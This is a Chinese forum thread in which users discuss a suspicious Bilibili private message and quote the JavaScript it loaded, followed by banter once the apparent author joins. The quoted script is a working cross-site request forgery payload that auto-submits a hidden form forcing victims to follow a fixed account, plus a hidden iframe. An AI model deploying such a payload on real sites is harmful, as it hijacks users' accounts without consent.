这几天 B 站是不是又出现 XSS 漏洞了？收到奇怪的私信

[yksoft1]

[yksoft1]

http://xbilibili.3990577.com/xbilibili.js

var strhtml = '';

if (self != top) {
strhtml += '<form id="xbilibili" action="http://space.bilibili.com/ajax/friend/AddAttention" method="post">';
strhtml += '<input type="text" name="mid" value="4926267" />';
strhtml += '</form>';

$(document.body).append(strhtml);
$("#xbilibili").submit();
}else{
strhtml = '<iframe src="http://message.bilibili.com/#whisper/rid216246424b93bed4331ba30d5c0371d1" style="display: none"></iframe>';

$(document.body).append(strhtml);
}


不仅试图强行加关注，还试图另外开一个 iframe

域名 whois 里面出来一个 email, [e-mail] 自称黑客还给 TX 交 VIP 。。。
这个 email 查可以查到一个博客 http://www.hackblog.cn/

[virusdefender]

这个 xss 看着并没成功，但是楼上贴的 js 貌似暴露了一个 csrf

[BROWNURSIDAE]

那个 meiliwang110 我认识

[aprikyblue]

坐等 “我就是那个 meiliwang110 ” 系列

[ragnaroks]

a 站也是

[SourceMan]

微博可以换私信界面的皮肤啦？

[RIcter]

http://www.wooyun.org/whitehats/Down/

不行了他 blog 太中二了- -

[RIcter]

..这个人我还见过，之前一起在杭电打比赛..233((

[erevus]

是的 已经修补好了.
所以问题来了,同样是 Java 为什么别人家的修复方式不会导致中文乱码也不会导致程序效率低呢?

[luoisnotgod]

@yksoft1 首先我没自称黑客啊。。那个 js 其实不是试图 iframe ，是因为跨域请求的问题。目的是强行加关注。

[luoisnotgod]

@RIcter 哥，哪里中二了，你说我改。。

[zander]

得，正主来了。

[yexm0]

世界真细小

[yangff]

“这个 XSS 本来是内部安全测试时候发现了,已经修好的。但是上周开发手贱回滚版本了,然后上周又被我发现了。他说这个星期二上新版本修复这个问题...不说了,我去切他 JJ...”

哈哈哈哈哈

[RIcter]

@luoisnotgod 233 ，博客主题

[luoisnotgod]

@RIcter 好吧，晚上就改。当初纯属为了 seo ，就一直没大改过。我加你 qq 了。

[hcymk2]

@luoisnotgod
那个博客名字的字体别改 我觉得蛮好的.

[karjarjam]

@luoisnotgod 求博客名字字体